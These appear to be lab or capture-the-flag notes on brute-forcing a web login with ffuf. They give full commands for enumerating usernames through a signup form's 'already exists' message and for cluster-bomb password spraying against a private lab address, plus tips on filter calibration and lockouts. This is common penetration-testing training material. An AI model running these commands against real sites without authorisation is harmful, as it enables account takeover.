Brute-Forcing a Login Page

Two-step web login attack: first enumerate valid usernames (registration/signup often leaks them), then spray passwords against only the valid accounts to stay efficient.

1. Enumerate valid usernames

Abuse a signup form that says "username already exists" — match that response string.

$ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
$  -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" \
$  -H "Content-Type: application/x-www-form-urlencoded" \
$  -u http://10.66.157.41/customers/signup \
$  -mr "username already exists"

2. Brute-force passwords for valid users

Two-cluster-bomb: W1 = valid usernames, W2 = password list. Filter out the failed-login status code (-fc 200 here means a non-200 indicates success — adjust to your app).

$ffuf -w valid_usernames.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt:W2 \
$  -X POST -d "username=W1&password=W2" \
$  -H "Content-Type: application/x-www-form-urlencoded" \
$  -u http://10.66.157.41/customers/login \
$  -fc 200

Always calibrate your filter first: send one known-bad login, note the response size/code/words, then filter on it (-fs, -fc, -fw). Watch for lockout policies before spraying.